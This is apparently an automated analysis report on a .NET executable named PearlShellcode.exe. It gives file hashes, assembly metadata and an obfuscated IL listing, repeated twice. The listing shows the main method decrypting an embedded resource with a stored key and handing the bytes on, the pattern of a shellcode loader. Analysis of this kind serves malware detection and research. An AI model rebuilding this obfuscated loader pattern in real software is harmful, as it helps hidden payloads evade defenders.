54ee227d6d280c812021c4b3d5233447
PE Executable | MD5: 54ee227d6d280c812021c4b3d5233447 | Size: 1.29 MB | application/x-dosexec
Symbol Obfuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 54ee227d6d280c812021c4b3d5233447
|
| Sha1 | e63c3997daeda93a1c361a32e000b3d54a01c538
|
| Sha256 | e8b05b6c791084833dfefa39c4bdde806c64e0a4ece9e9658caf6f74651606b2
|
| Sha384 | 72cdd59a5d78e11192f68b91086e91704e5c4d4f582fc22f14643005c5e7f771099754ee10de2d7d98bcf0f6abaca70a
|
| Sha512 | ebb545378197437be7d38706488d64d6db7ad6ba31b2fa7a7c42c43140788bf207645ffda9b3e19d1ac48c0a92f0f2f88ca9f8165628cf1bfe62877f76dc3d90
|
| SSDeep | 24576:dkinsUWZOKD0V/jCAkIWsqWeyBaC/o5WhYdrEWJeEM5gMowud+JxKIXGKabKxxsQ:1nscK4V/jCAklszBnhMeZgdT+JxKCGKb
|
| TLSH | 02552349BA71769FD816E6B28B741C55FF023137230F924BA05711ADEA4C6A7CF290F2
|
PeID
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Module Name | PearlShellcode.exe |
| Full Name | PearlShellcode.exe |
| EntryPoint | System.Void ::() |
| Scope Name | PearlShellcode.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | PearlShellcode |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | .NETFramework,Version=v4.7.2 |
| Total Strings | 1 |
| Main Method | System.Void ::() |
| Main IL Instruction Count | 102 |
| Main IL | ldc.i4 49680632 br.s IL_0007: call System.String <Module>::<System.String>(System.Int32) call System.String <Module>::<System.String>(System.Int32) stloc.0 <null> ldc.i4 619059294 ldc.i4 1840867290 xor <null> dup <null> stloc.s V_4 ldc.i4.3 <null> rem.un <null> switch dnlib.DotNet.Emit.Instruction[] br.s IL_0055: call System.Reflection.Assembly ::() call System.Text.Encoding ::() ldsfld System.String PearlShellcode.Config.Settings::DecryptionKey call System.Byte[] ::(System.String) call System.String ::(System.Text.Encoding,System.Byte[]) stloc.1 <null> ldloc.s V_4 ldc.i4 1617488698 mul <null> ldc.i4 -2021530240 xor <null> br.s IL_0012: ldc.i4 1840867290 call System.Reflection.Assembly ::() ldloc.0 <null> call System.IO.Stream ::(System.Reflection.Assembly,System.String) stloc.2 <null> ldloc.2 <null> brtrue.s IL_00AF: ldloc.2 ldc.i4 931950283 ldc.i4 1840867290 xor <null> dup <null> stloc.s V_4 ldc.i4.6 <null> rem.un <null> switch dnlib.DotNet.Emit.Instruction[] br.s IL_00F4: leave.s IL_0133 ldloc.2 <null> ldloc.3 <null> ldc.i4.0 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> call System.Int32 ::(System.IO.Stream,System.Byte[],System.Int32,System.Int32) pop <null> ldloc.s V_4 ldc.i4 -1003944979 mul <null> ldc.i4 1335182157 xor <null> br.s IL_0069: ldc.i4 1840867290 ldloc.2 <null> call System.Int64 ::(System.IO.Stream) conv.ovf.i <null> newarr System.Byte stloc.3 <null> ldc.i4 1625243911 br.s IL_0069: ldc.i4 1840867290 ldloc.3 <null> ldloc.1 <null> call System.Byte[] ::(System.Byte[],System.String) call System.Void ::(System.Byte[]) ldloc.s V_4 ldc.i4 982894110 mul <null> ldc.i4 1284420082 xor <null> br.s IL_0069: ldc.i4 1840867290 leave.s IL_0138: ret ldloc.s V_4 ldc.i4 514121376 mul <null> ldc.i4 1448460427 xor <null> br IL_0069: ldc.i4 1840867290 leave.s IL_0133: leave.s IL_0138 ldloc.2 <null> brfalse.s IL_0132: endfinally ldc.i4 1234600538 ldc.i4 1840867290 xor <null> dup <null> stloc.s V_4 ldc.i4.3 <null> rem.un <null> switch dnlib.DotNet.Emit.Instruction[] br.s IL_0132: endfinally ldloc.2 <null> call System.Void ::(System.IDisposable) ldloc.s V_4 ldc.i4 -2093217912 mul <null> ldc.i4 -300041899 xor <null> br.s IL_00FE: ldc.i4 1840867290 endfinally <null> leave.s IL_0138: ret pop <null> leave.s IL_0138: ret ret <null> |
| Module Name | PearlShellcode.exe |
| Full Name | PearlShellcode.exe |
| EntryPoint | System.Void ::() |
| Scope Name | PearlShellcode.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | PearlShellcode |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | .NETFramework,Version=v4.7.2 |
| Total Strings | 1 |
| Main Method | System.Void ::() |
| Main IL Instruction Count | 102 |
| Main IL | ldc.i4 49680632 br.s IL_0007: call System.String <Module>::<System.String>(System.Int32) call System.String <Module>::<System.String>(System.Int32) stloc.0 <null> ldc.i4 619059294 ldc.i4 1840867290 xor <null> dup <null> stloc.s V_4 ldc.i4.3 <null> rem.un <null> switch dnlib.DotNet.Emit.Instruction[] br.s IL_0055: call System.Reflection.Assembly ::() call System.Text.Encoding ::() ldsfld System.String PearlShellcode.Config.Settings::DecryptionKey call System.Byte[] ::(System.String) call System.String ::(System.Text.Encoding,System.Byte[]) stloc.1 <null> ldloc.s V_4 ldc.i4 1617488698 mul <null> ldc.i4 -2021530240 xor <null> br.s IL_0012: ldc.i4 1840867290 call System.Reflection.Assembly ::() ldloc.0 <null> call System.IO.Stream ::(System.Reflection.Assembly,System.String) stloc.2 <null> ldloc.2 <null> brtrue.s IL_00AF: ldloc.2 ldc.i4 931950283 ldc.i4 1840867290 xor <null> dup <null> stloc.s V_4 ldc.i4.6 <null> rem.un <null> switch dnlib.DotNet.Emit.Instruction[] br.s IL_00F4: leave.s IL_0133 ldloc.2 <null> ldloc.3 <null> ldc.i4.0 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> call System.Int32 ::(System.IO.Stream,System.Byte[],System.Int32,System.Int32) pop <null> ldloc.s V_4 ldc.i4 -1003944979 mul <null> ldc.i4 1335182157 xor <null> br.s IL_0069: ldc.i4 1840867290 ldloc.2 <null> call System.Int64 ::(System.IO.Stream) conv.ovf.i <null> newarr System.Byte stloc.3 <null> ldc.i4 1625243911 br.s IL_0069: ldc.i4 1840867290 ldloc.3 <null> ldloc.1 <null> call System.Byte[] ::(System.Byte[],System.String) call System.Void ::(System.Byte[]) ldloc.s V_4 ldc.i4 982894110 mul <null> ldc.i4 1284420082 xor <null> br.s IL_0069: ldc.i4 1840867290 leave.s IL_0138: ret ldloc.s V_4 ldc.i4 514121376 mul <null> ldc.i4 1448460427 xor <null> br IL_0069: ldc.i4 1840867290 leave.s IL_0133: leave.s IL_0138 ldloc.2 <null> brfalse.s IL_0132: endfinally ldc.i4 1234600538 ldc.i4 1840867290 xor <null> dup <null> stloc.s V_4 ldc.i4.3 <null> rem.un <null> switch dnlib.DotNet.Emit.Instruction[] br.s IL_0132: endfinally ldloc.2 <null> call System.Void ::(System.IDisposable) ldloc.s V_4 ldc.i4 -2093217912 mul <null> ldc.i4 -300041899 xor <null> br.s IL_00FE: ldc.i4 1840867290 endfinally <null> leave.s IL_0138: ret pop <null> leave.s IL_0138: ret ret <null> |